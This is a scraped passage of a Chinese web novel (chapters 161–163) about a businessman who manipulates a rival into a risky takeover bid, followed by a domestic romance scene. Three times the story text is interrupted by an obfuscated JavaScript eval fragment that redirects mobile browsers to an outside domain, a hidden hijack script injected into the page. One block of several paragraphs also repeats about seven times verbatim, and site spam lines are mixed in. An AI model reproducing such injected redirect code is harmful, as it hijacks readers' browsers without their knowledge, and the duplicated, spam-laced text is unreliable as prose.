虽然他话这么说,但是眼中还是写着不甘。 时清徵:“我倒是认为股东会这个决定有些蠢了些。 程俊安抬眼看着他,有些意外。 时清徵继续分析:“直接罢免你,这不就等于向公众宣布公司的领导层有问题吗? “我倒是有些心疼程先生,公司的锅不应该由你来背啊。 这么多天过来,时清徵是唯一一个愿意对程俊安说好话的。 两人的关系一下子就拉近了。 “哎,我也无奈啊,可能确实是我有部分决策失误了吧。 时清徵微笑,心中说了句:那是部分吗?你也太不要脸了。 但嘴上说的却是:“决策失误在所难免,只是程老爷子居然连一个机会都不肯给,做的未免也太绝了。 这一番话说下来,原本就因为被罢免职位,有些憋闷的陈俊安一瞬间把自己的怨气 你的朋友正在书荒,快去帮帮他吧 全都堆到了程老爷子身上。 他沉默着没有说话,却是另外一种认同。 就算他觉得时清徵说的是对的,也不会当着对方的面说自己父亲的坏话。 不然也太不体面了些,容易被传闲话,成为污点。 就在这时,服务员取的那一支酒也被拿了上来。 程俊安让人把酒打开,给时清徵倒上:“时董尝尝这酒,我精挑细选了一番,觉得你可能会喜欢。” 时清徵晃了下酒杯,浅抿了口:“程先生的品味不错。” “时董喜欢就好。” 程俊安还没来得及心痛这一瓶好酒,就听时清徵慢悠悠道: “之前我一朋友做过一次酒心巧克力,用的就是这酒,可惜翻车了。” 程俊安这次脸上的笑是真的没有挂住。 酒心巧克力? 暴殄天物啊。 他的嘴巴嗫嚅着,半天不知道该怎么说。 时清徵:“幸好当时还留有几瓶,不然可就真糟蹋了。” 只是浅浅抿了几口,时清徵就把酒杯放下。 “程先生是聪明人,有话不妨直说,我自然是不信你请我来,就是为了让我喝酒的。” 程俊安:“时董果然是性情中人,那我也就不拐弯抹角了。我想让你帮我。” “帮你,帮你什么?” 时清徵抬眼看着程俊安。 却见那人一脸难色。 时清徵的指尖按在酒杯壁上,头顶的吊灯透过酒液在他的手背上折射出斑驳的酒红色。 深深浅浅,甚是好看。 更衬得他手指修长,骨节分明。 时清徵等程俊安开口,等半晌,却只听得一耳的寂静。 “程先生有求于我,却还要让我猜你的想法吗?” 程俊安:“我并不是这个意思。” “那就是程先生还有顾虑?” “也是,毕竟之前我们光影娱乐那时可给程总找了不少麻烦,程总一时间无法介怀我也能理解。” 程总,程总。 这个称呼在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355044|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时显得如此地刺耳。 “时董真是说笑,那不过是正常的竞争,我只是.有些犹豫。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “成大事者不应瞻前顾后,就比如程氏娱乐新来的那个王总,我看他就挺雷厉风行的。” 时清徵的声音不轻不重。 但每句话的内容都精准地直插程俊安的心窝。 程俊安现在最不想听到什么? 无非是被罢免,无非是自己的位置被夺走。 可时清徵不仅要说,还要翻来覆去地说。 把程俊安表面上强装出来的镇定和体面都要消磨干净了。 “既然时董也觉得王凯林的能力出众,今日为何还要来见我,总不能是为了羞辱我。” 程俊安这几天情绪本就不稳定。 自从他卸任了程氏娱乐总裁一职,许多曾经恭维他的人都逐渐疏远。 虽不至于当面给他难堪,但对他也处于观望和忽视的态度。 这让一向自尊心与好胜心极强的程俊安感受到前所未有的落差。 “羞辱?在程先生眼中,说几句实话就是羞辱吗?” 时清徵冷笑一声:“如果真的要羞辱,那我何必来见程先生一面呢?” “要知道,不是什么人我都会见的。” 这句话的意思有很多,程俊安显然是领会到了。 他倏地抬头:“时董的意思是?” 时清徵已经把鱼钩甩进湖里,剩下的就是撒饵料将鱼引过来了。 “自然是打算帮你。” 程俊安眼睛亮了下,语气有些按耐不住的激动:“当真?” “不过我希望程先生能开出我满意的价码。” “时董想要什么,股份,还是合同?” 程俊安说出这话后就有些后悔,因为现在的他这些还都给不起。 时清徵也毫不留情地戳破了程俊安假大空的承诺:“这些.程先生有吗?” 现实被戳破,程俊安有些难堪地闭了闭眼。 时清徵也没有再为难他:“不过我的确有所求,至于求什么.之后程先生自然就知道了。” 第161章 要被舍弃了? “你应该知道我收购散股的事。我的确挺看好程氏娱乐的底子。 “不过现在的程氏娱乐是谁说了算?程老爷子,王总,还是你呢? 明明时清徵说话客客气气的,可就是让程俊安觉得十分憋屈。 “我 他刚想辩驳什么,却被时清徵打断了。 “以前谁说了算不重要,以后谁主事才重要. 时清徵若有所指地看着程俊安。 “其实,我对和王总合作没什么兴趣。如果程总您还是掌舵人,我们的合作会顺畅得多。 毕竟,您才代表了程氏的未来。 程俊安现在彻底安下心来。 至少时清徵这么说,是真的有所求的。 如果时清徵真的无缘无故帮了他,他自己反而会怀疑对方藏了什么祸心。 “承蒙时董的信任,若是我们早点认识,先前光影与程氏娱乐之间也不会出现那等事了。 时清徵对此话不置可否。 “只要时董肯在此时伸出援手,我程某一定会记得雪中送炭的恩情。 时清徵:“一时的得失并不重要,重要的是谁能笑到最后。 “我能帮程先生几分,就得看你的诚意了。 说完,他的手点了点杯子,发出轻微的响声。 程俊安一瞬间就反应了过来。 他把酒杯倒满:“我敬时董一杯。 说着将酒水饮尽。 时清徵没有动作,握着酒杯,也没有喝。 接下来,就是程俊安在时清徵的诱导下,一杯接着一杯。 到最后都有些醉态了。 而时清徵杯中的酒还剩了一小半。 即使是这样,程俊安依旧没有得到时清徵准确的合作承诺。 但他却在时清徵有意的牵引下逐渐生出了妒忌和贪婪。 对程老爷子的决定心生不满。 对新任的总裁恨之入骨。 最后,时清徵唇角微扬,语气轻松得像是在谈论天气:“我就欣赏程先生这样的爽快人。 他稍作停顿,指尖轻点桌面,仿佛随口一提:“我认识几家国外的基金和财团如果程先 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 生需要,我可以为你牵线搭桥。” “他们对A国的娱乐市场很感兴趣,也很欣赏像程先生这样的企业家。” “他们提供资金,你可以用这笔钱去收购股份。如果你最终能拿到公司的控制权” 他微微一笑:“利息什么的,可以忽略不计。” “但如果不能” 时清徵语调未变,眼神却悄然转深,平静地投来视线:“那么,你不仅需要退还本金,还要支付违约金。” “或者将你名下所有的股份抵押出去。” 闻言,程俊安只觉得酒意骤然褪去,一股寒意从脊背窜起,惊出一身冷汗。 用巨额资金快速收购股权,的确能帮他夺回话语权。 可一旦输了,就不止是失去机会,而是将他手中最后的筹码也彻底赔光。 “我” 他犹豫了。 自己毕竟是父亲唯一的儿子。 就算现在惹他失望,将来父亲百年之后,股份终究还是会落到自己手里。 有必要在这个时候,赌上这一切吗? 时清徵没有催促,只不动声色地观察着他每一瞬的动摇。 然后忽然抛下一枚重磅**: “我明白程先生的顾虑,是怕输。但富贵险中求。” “而且王凯林是程老爷子私生子这件事,你应该知道吧?” 程俊安猛地抬头:“什么?!” 时清徵故作讶异地轻轻摇头:“我还以为程先生早就知情。” 他语气惋惜:“王凯林,确实是程老爷子的亲生儿子。你不妨仔细回想,他们的眉眼之间,是不是有些微妙相似?” 他略作停顿,留下沉默让恐惧发酵:“程老爷子一向谨慎,又怎么会把总裁这么重要的位置,随便交给一个外人呢?” 每一句接连让程俊安的理智逐渐溃散。 在时清徵有意的引导下,那些曾被忽略的细节疯狂涌入脑海。 父亲对王凯林莫名的信任,他们偶尔神似的表情. 不管是真的还是假的,此时在程俊家濒临崩溃的怀疑中都变得有迹可循。 怀疑一旦生根,就很难清除了。 时清徵悠悠地叹了口气:“所以程先生可 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355045|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦 要把握好这次机会啊,不然.我觉得王总应该很乐意跟我合作。” 程俊安的目光忽然变得有些疯狂和偏执:“你说的,都是真的?” “是真是假,程先生一查便知。” “不过这种大事程老爷子居然瞒着你吗?看来你的确要被舍弃了呢。” 时清徵低笑两声。 现在程俊安什么都听不进去了,只觉得一阵天旋地转。 一阵寒意从他的脊椎蔓延至全身,让他握着酒杯的手都有些发抖。 “所以程先生可要想好,到底要不要我帮你。” “也许这是你最后一次机会呢?” 程俊安的手紧紧握住杯子,力道之大似乎要打算把玻璃杯给碾碎。 “我答应你。” 目的已经达成,时清徵也不再刺激他。 如果再说下去,怕是有些刻意了。 “那就祝程总一切顺利。” 时清徵终于举起了酒杯。 程俊安手中的酒杯因为颤抖的双手而轻微的晃动。 然后举着,略低时清徵的酒杯,碰了上去。 露出一副很牵强的笑来。 一饮而尽,几乎是咬着牙往下咽的。 最后,程俊安有些无力地靠向椅背,目光定定地落在时清徵脸上。 酒精不断上涌,也让他的话变得比方才要不得体许多。 他半眯着眼,试图在模糊的视线中聚焦,一种没由来的熟悉感又一次浮上心头。 仿佛曾在哪儿见过这张脸,可那念头飘忽不定,怎么也抓不住。 “时董.是京城人?”他声音有些发飘,问题也问得突兀。 时清徵淡淡一笑,回答简洁:“不是。” 程俊安并不放弃,继续打量,像是非要从中看出什么似的:“时董看起来挺年轻的,应该有二十岁了吧。” 他语气含糊,话中有话,却又说不出个所以然。 时清徵没有接话,只平静地回望他。 “程先生对我很好奇?” “就是想交个朋友,时这个姓挺少见的。” 他想起了一个人,那个人也姓时。 不知道是不是心虚,他有些没由来的发慌。 但又觉得是自己多想了。 第162章 一个等了很久的合作 “时董这么年轻,莫非是承父业?” 程俊安半倚着椅背,语气似闲聊,目光却带着审度,试图从对方的表情里撬出一丝异常来。 京城这个圈子里,至今没人摸清时清徵的来路,他太神秘,也太突然。 时清徵闻言,唇角牵起一抹极淡的弧度,既不承认,也不否认。 “程先生对我很好奇?” 他声音温和,却巧妙地将问题轻飘飘地推了回去。 程俊安借着酒意,索性更进一步:“时董不像普通生意人。这一出手,不像求财,倒像” 他顿了顿,搜寻着合适的词:“像冲着什么来的。” 话一出口,连他自己都怔了怔。是醉话,却也是他压抑许久的直觉。 时清徵静静看着他,良久,忽然很轻地笑了一下。 那笑声低而稳,却无端令人感到一丝寒意。 “程先生醉了。” 他语气依旧平和,甚至称得上体贴,可字字清晰。 “生意人自然只为求财。其他的,不过是您想多了。” 他举起酒杯,向程俊安示意了一下,动作从容不迫,仿佛刚才那段近乎冒犯的试探从未发生过。 程俊安看着他滴水不漏的姿态,心头那点没由来的熟悉感再度浮现。 可对方举杯,他不得不陪,只能强压着胃中的不适又喝了一杯。 反倒是时清徵,单纯举杯示意一下,根本没有要喝的打算。 时清徵也没打算一天就把人逼到尽头,很快就起身离开。 临走时还转身对程俊安说。 “程先生今天这酒味道一般,不过谈的这场合作我挺满意的,就不计较了。” 程俊安: 时清徵撂下这句话后转身离开。 程俊安终于压不住胃中的翻江倒海。 他取出来的那一瓶酒几乎全是他喝的,而且谈话过程中几乎没有吃菜。 再好的酒也耐不住他一杯接着一杯的喝。 他本就有不轻的胃病,这几轮喝下来导致如今胃中一阵绞痛。 过往谁敢这么灌他酒? 程俊安待时清徵一离开,就忍不住吐了。 一身酒气, 冷汗岑岑,好不狼狈。 程俊安的助理从包厢外走了进来,见状连忙扶起他。 “程总,你没事吧?” 自从程俊安离职后,还将杨洁雅也一起带走了。 杨洁雅先前本就受程俊安提携,如今程俊安一走,她在公司免不了要受刁难。 干脆一起辞职,还显得自己一往情深。 如今杨洁雅是他的生活助理,经常陪在程俊安身边。 让程俊安都有些动容了。 程俊安用手擦了擦嘴,脸色煞白:“我没事。” “你去.去查查这个时董。” 杨洁雅: 啊,她吗? 但嘴上还是应道:“好的。” “程总你醉了,我扶你去休息吧。” ———— 时清徵回去后,还没来得及换衣服,就被顾鸣鹤凑近闻了闻。 “你出去喝酒了?” 时清徵:“喝了一点。” 外面有点冷了,时清徵的手都有些发凉。 顾鸣鹤握了下,忍不住皱眉:“怎么不多穿点?” “其实不冷,只是刚才被风吹了下。” 顾鸣鹤没说话,只是用掌心包住时清徵的手,直到把那抹冰凉捂热才肯撒手。 时清徵虽然不在乎这些,但却还是会因顾鸣鹤的举动而有些动容。 “行了,我去喝口水。” 顾鸣鹤:“你坐着,我去给你倒。” 说着,自己就去给时清徵倒了杯温水。 水温正好,时清徵慢慢喝着。 边喝边想,就有些走神了。 顾鸣鹤再看向时清徵时,就发现他拿着空杯子,不知道在想什么。 “还要吗?” 时清徵摇头,把水杯放在一边。 “什么合作能让你亲自去?” “一个等了很久的合作。” “嗯?”顾鸣鹤有些没听懂。 时清徵轻轻笑了下:“我去见了程俊安。” 顾鸣鹤这下就听明白了。 他知道时清徵跟程俊安的那些恩恩怨怨。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355046|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 不过这些事时清徵自己就能做得很好,更喜欢亲力亲为。 即使是顾鸣鹤,时清徵也不愿意让他插手太多。 “这么不喜欢他,其实可以更直接一点。” 时清徵摇头:“没必要这么大动干戈。” 一个程俊安而已,时清徵有无数种方法让他万劫不复。 甚至可以选择江南月收拾江家的那种雷霆手段。 不过时清徵依旧选择最迂回的那一种。 把人吊在万丈悬崖之上,身上拴着一根绳子。 然后当着对方的面一点点锯断。 救命的绳子越来越细,一点点坠落,何时才是终点,何时才会死亡? 迟早都是要粉身碎骨的,时清徵想欣赏一下对方垂死挣扎前的恐惧。 一刀一个是很痛快。 温水煮青蛙也值得让人回味。 顾鸣鹤有点懂时清徵的恶趣味,但他不会做任何评价。 “你还跟他喝酒了?” 时清徵:“嗯,今天心情还行,就是酒不太好。” “改天我从酒窖里取一支,我们一起尝尝?” “也行吧。” “不喜欢酒吗?”顾鸣鹤忽然问道。 他确实很少见时清徵主动碰酒。 印象最深的一次,是他第一次带时清徵去靳云封组的那个局。 包厢里人声嘈杂,烟酒气混作一团,他顺手递了一杯威士忌给身边显得格格不入的时清徵。 时清徵接了,安安静静喝完,然后似乎有些醉,就一个人离开了一会。 顾鸣鹤当时没细想,只觉得那人离席时微抿着唇,眼睫低垂的样子,难得显出一种乖顺。 时清徵闻言,目光看向窗外夜色:“还可以,谈不上喜欢不喜欢的,不过偶尔会尝一点。” 时清徵没说的是,他对酒精这类东西几乎毫无感觉。 他的酒量其实称得上差,几杯下肚,耳根便会泛红,该有的微醺反应一样不少。 在外人看来,俨然是一副醉态初显的模样。 可他偏偏醉不了。 无论喝下多少,他的意识始终悬于顶端,清醒地注视着自己出现醉酒迹象。 这或许与他大脑早年受过某些药剂的特异性刺激有关,也可能是体质遗传。 时清徵从未深究,于他而言,这并无太大影响。 第163章 时清徵,生日快乐 时清徵确实鲜少饮酒,并非出于厌恶,而是因为酒精带给他的感受实在算不上愉快。 几杯下肚,胃里便会泛起一阵隐约的灼烧感,太阳穴也突突地跳着发胀。 很难带来放松或欢愉,只如同一种冗余的生理负担,徒增烦躁。 正因为喝得少,他也从未练出什么酒量。 可他从未真正失态过。 酒精所能撬动的,永远只停留在生理的表层。 一杯品味,浅尝辄止足矣。 顾鸣鹤喉结微动,忽然有些后悔提起这个话题。 时清徵却像是看穿了他的心思,目光清凌凌地看过来,忽然很轻地笑了一下: “不过如果是和你,多喝一点,也可以。 顾鸣鹤心头一涩,想都没想就脱口而出:“少喝些,对身体不好。 这话从他嘴里说出来,实在有些违和。 毕竟他自己也常因应酬而辗转于各个酒局。 甚至先前他也经常跟靳云封他们一起喝酒。 时清徵像是被这句话取悦了,肩背微微放松,向后靠进椅背里,语调带着明显的调侃: “哟,顾总还知道喝酒对身体不好? 顾鸣鹤被他笑得耳根发热,却仍绷着脸,认真地点了下头:“嗯。 他停顿片刻,声音低了下去,像是一句承诺,又像只是一句简单的事实陈述: “我也少喝。 窗外夜色流淌,灯影落在两人之间,映出一小片温柔的光晕。 ———— 这几天顾鸣鹤总显得有些神神秘秘,早出晚归,手机也常避着人回消息。 每当时清徵淡淡瞥来一眼,还没开口,他就先一步移开视线,含混地应付过去。 时清徵问过两回,见他不愿多说,便也不再追问。 顾鸣鹤却反而不安起来,某天出门前忽然折返,将人抵在玄关处。 他低头碰了碰那双总是微凉的唇,声音压得又低又软: “宝贝,别乱想.过几天,就都告诉你,好不好? 时清徵没应声,只仰头承着他的吻,直到唇瓣被厮磨得泛起温热,才“嗯了一声。 几天后,顾鸣鹤专门请了一 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 天假,上午陪人待在家里,下午带人回了半山庄园。 他们近来一直住在市中心的别墅,那边离公司更近,已许久未回去了。 车驶出城区时,天色阴沉,云层压得很低,仿佛随时要落下雪来。 离家繁华的市区,时清徵这才有点冬天来了的感觉。 下车时,风刮过脖颈,时清徵下意识缩了缩肩膀。 顾鸣鹤伸手替他拢紧围巾。 是两条几乎一模一样的卡其色羊绒围巾,是他特意找人定做的。 针脚细密地绣着两人名字的缩写,依偎在一处。 还未走进屋内,时清徵的脚步却微微一顿。 庄园前的花园显然被精心打理过,冬日枯寂的枝桠上系着细小的暖白色灯串。 小径两旁立着几盏复古的路灯,玻璃罩内跳动着光晕。 而远处,玫瑰丛旁那片总是空着的草地上,不知何时多了玻璃花房。 隐约可见里头葱茏的绿意与朦胧的花朵轮廓。 整个庄园像是被重新翻修,很多细节都变了。 太多了,时清徵也算不清。 寒风还在刮。 真的是冬天,却莫名让人觉得春天很近了。 顾鸣鹤从身后靠近,温热的手心覆上他的手背,声音里带着一丝不易察觉的紧张和期待: “时小徵,我们进去吧。 门口大门开满,屋内的景象一览无余。 顾鸣鹤落后半步,让时清徵先进去。 下一秒,礼花炸开,从上空落下,纷纷扬扬的。 